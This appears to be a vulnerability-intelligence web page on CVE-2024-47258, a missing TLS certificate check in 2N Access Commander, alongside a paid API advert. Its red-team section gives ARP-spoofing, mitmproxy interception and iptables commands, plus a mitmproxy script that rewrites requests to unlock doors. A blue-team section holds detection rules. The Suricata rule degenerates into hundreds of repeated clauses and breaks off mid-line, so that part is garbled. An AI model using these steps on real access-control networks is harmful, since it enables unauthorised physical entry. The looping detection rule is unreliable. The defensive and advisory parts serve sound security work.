CVSS: 8.1

CVE-2024-47258

CVE-2024-47258 Vulnerability in Access Commander

 📅 PUBLISHED: 2025-02-06 19:10 UTC 🔄 UPDATED: 2026-09-23 20:16 UTC 

[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix

[ DEFENSE PATCH ↓ ]

💣 PoC: None

👁️

🎯 EPSS: 0.14%

👁️

VULNERABLE: version not auto-detected — verify your deployed version locally

CVSS SEVERITY SCALE

9.0–10.0 CRITICAL

7.0–8.9 HIGH

4.0–6.9 MEDIUM

0.1–3.9 LOW

0.0 NONE

8.1

THREAT LEVEL

INTEL SOURCES NVD CVEProject EPSS HOW WE SCORE →

■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-47258 exposes a critical Man-in-the-Middle (MitM) vulnerability in 2N Access Commander versions 2.1 and prior. The software, by default, does not verify TLS certificates when communicating with 2N edge devices (e.g., IP intercoms, door controllers). An attacker with network access can intercept, decrypt, and modify traffic between the management console and physical access control hardware, potentially gaining unauthorized physical entry or exfiltrating sensitive credential data.

The vulnerability has a CVSS score of 8.1 (High) due to the high impact on confidentiality, integrity, and availability, though the attack complexity is high (requires network position). No public exploit code or proof-of-concept is currently available, but the attack vector is well-understood. The vendor has released version 3.3 with certificate fingerprint verification, and TLS enforcement has been available since version 2.2.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian

›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.

›Shodan dorks — ready-made queries to find exposed vulnerable systems

›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)

›pending_fields — know exactly which of 7 fields NVD hasn't processed yet

›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits

PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026

[ FROM €19/MO ]

Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a software supply chain package (NPM, PyPI, Go, Ruby). It is a configuration and implementation flaw in a proprietary on-premise access control management application.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 8.1 (High)
Attack Vector (AV): Network – the attacker must be on the same network segment as the 2N Access Commander or the edge devices.
Attack Complexity (AC): High – the attacker must successfully perform a MitM attack (e.g., ARP spoofing, rogue DHCP, DNS poisoning) and bypass any network segmentation.
Privileges Required (PR): None – no authentication needed to exploit the lack of certificate verification.
User Interaction (UI): None – the attack does not require any action from a legitimate user.
Scope (S): Unchanged – the compromised component is the Access Commander itself.
Confidentiality (C): High – all traffic (including credentials, configuration, and video streams) can be decrypted.
Integrity (I): High – an attacker can inject malicious commands to edge devices (e.g., unlock doors, disable alarms).
Availability (A): High – an attacker could disrupt communication, causing denial of service to physical access systems.

Threat Level: Critical for physical security environments. Exploitation could lead to unauthorized physical access to secured facilities.

Deep Dive & Mechanics

The vulnerability stems from the default TLS configuration in 2N Access Commander (versions ≤ 2.1). The application does not validate the X.509 certificate presented by 2N edge devices during TLS handshake. This allows an attacker who can intercept network traffic to present a self-signed or forged certificate, which the Access Commander will accept without verification.

Attack Flow:

Reconnaissance: The attacker identifies the IP addresses of the 2N Access Commander and the target edge devices (e.g., door controllers, intercoms).
Network Position: The attacker gains a position on the same Layer 2 network (e.g., via ARP spoofing, rogue access point, or compromised switch).
Interception: Using a tool like mitmproxy, Bettercap, or a custom TLS proxy, the attacker intercepts traffic between the Access Commander and the edge device.
Certificate Spoofing: The attacker presents a self-signed certificate to the Access Commander. Since certificate validation is disabled, the connection proceeds.
Decryption & Manipulation: The attacker decrypts the TLS session, reads credentials, configuration data, and can inject malicious commands (e.g., unlock_door, disable_alarm).
Persistence: The attacker can modify the edge device’s firmware or configuration to maintain access.

Root Cause: The default configuration in 2N Access Commander does not enforce TLS certificate validation. The verify_cert or equivalent flag is set to false or not implemented.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual - 2N Access Commander ≤ 2.1):

# Pseudocode for vulnerable TLS connection
import ssl
import socket

context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE  # No certificate verification

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
secure_sock = context.wrap_socket(sock, server_hostname=edge_device_ip)
secure_sock.connect((edge_device_ip, 443))

Patched Code (2N Access Commander ≥ 3.3):

# Pseudocode for patched TLS connection with fingerprint verification
import ssl
import socket
import hashlib

context = ssl.create_default_context()
context.check_hostname = True
context.verify_mode = ssl.CERT_REQUIRED

# Load expected certificate fingerprint (e.g., SHA-256)
expected_fingerprint = "AA:BB:CC:DD:EE:FF:00:11:22:33:44:55:66:77:88:99:AA:BB:CC:DD:EE:FF:00:11:22:33:44:55:66:77:88:99"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
secure_sock = context.wrap_socket(sock, server_hostname=edge_device_ip)
secure_sock.connect((edge_device_ip, 443))

# Verify fingerprint
cert = secure_sock.getpeercert(binary_form=True)
fingerprint = hashlib.sha256(cert).hexdigest()
if fingerprint != expected_fingerprint.replace(":", "").lower():
    raise Exception("Certificate fingerprint mismatch!")

Key Differences:

verify_mode changed from CERT_NONE to CERT_REQUIRED.
check_hostname enabled.
Additional fingerprint verification added in v3.3.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

Attacker machine on the same network segment as the 2N Access Commander and edge devices.
Tools: mitmproxy, Bettercap, openssl, nmap.

Lab Setup:

Network Topology:
- 2N Access Commander (v2.1) – IP: 192.168.1.10
- 2N Edge Device (e.g., 2N IP Verso) – IP: 192.168.1.20
- Attacker Kali Linux – IP: 192.168.1.100

ARP Spoofing (using Bettercap):

sudo bettercap -eval "set arp.spoof.targets 192.168.1.10,192.168.1.20; arp.spoof on"

TLS Interception (using mitmproxy):

# Generate a self-signed CA certificate
openssl req -x509 -newkey rsa:2048 -keyout ca-key.pem -out ca-cert.pem -days 365 -nodes

# Run mitmproxy in transparent mode
mitmproxy --mode transparent --listen-port 8080 --ssl-insecure --set block_global=false

Redirect Traffic:

# Redirect HTTPS traffic to mitmproxy
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

Exploit:
- The Access Commander will connect to the edge device via the attacker’s proxy.
- The attacker can now view all decrypted traffic (credentials, commands).
- Inject malicious commands (e.g., unlock_door) using mitmproxy’s inline scripts.

Example mitmproxy script to inject unlock command:

# inject_unlock.py
from mitmproxy import http

def request(flow: http.HTTPFlow) -> None:
    if "unlock" in flow.request.pretty_url:
        # Modify the request to unlock all doors
        flow.request.text = flow.request.text.replace("lock", "unlock")

Blue Team (Detection & Hardening)

Detection:

Monitor for ARP spoofing attacks using arpwatch or IDS rules.
Detect unexpected TLS certificates using network monitoring tools.
Alert on connections to unknown IPs on port 443 from the Access Commander.

Hardening:

Immediately upgrade to 2N Access Commander v3.3 or later.
Enable TLS certificate validation (available since v2.2).
Implement certificate fingerprint verification as per vendor documentation.
Use network segmentation (VLANs) to isolate access control systems.
Deploy 802.1X authentication on the network.

Indicators of Compromise (IOCs)

Network IOCs:
- ARP cache entries showing duplicate IPs (ARP spoofing).
- TLS certificates with mismatched Subject or Issuer (self-signed).
- Unexpected TCP connections to port 443 from the Access Commander to unknown IPs.
- Unusual traffic patterns (e.g., large data transfers from edge devices).
Host IOCs (on Access Commander):
- Log entries indicating TLS handshake failures or certificate warnings.
- Modified configuration files (e.g., config.xml with verify_cert=false).
- Presence of unauthorized scripts or binaries in the installation directory.
File IOCs:
- Self-signed CA certificates in unexpected locations (e.g., /tmp/).
- Log files with repeated connection attempts to unknown IPs.

Detection Engineering

YARA Rule

rule CVE_2024_47258_MitM_Config {
    meta:
        description = "Detects vulnerable TLS configuration in 2N Access Commander config files"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47258"
    strings:
        $s1 = "verify_cert=false" nocase
        $s2 = "CERT_NONE" nocase
        $s3 = "check_hostname=false" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-47258 - 2N Access Commander TLS Certificate Validation Disabled
id: 2a3b4c5d-6e7f-8a9b-0c1d-2e3f4a5b6c7d
status: experimental
description: Detects configuration changes or log entries indicating TLS certificate validation is disabled in 2N Access Commander.
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-47258
logsource:
    product: windows
    service: application
detection:
    selection:
        EventID: 4688
        ProcessName: '*AccessCommander*'
        CommandLine: '*--ssl-insecure*'
    condition: selection
falsepositives:
    - Legitimate debugging sessions
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2024-47258 - Potential MitM Attack on 2N Access Commander"; flow:to_server,established; content:"|16 03|"; depth:2; content:"|01|"; within:1; content:"|0b 00|"; distance:1; within:2; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|"; distance:1; within:1; content:"|00 00|"; distance:2; within:2; content:"|00|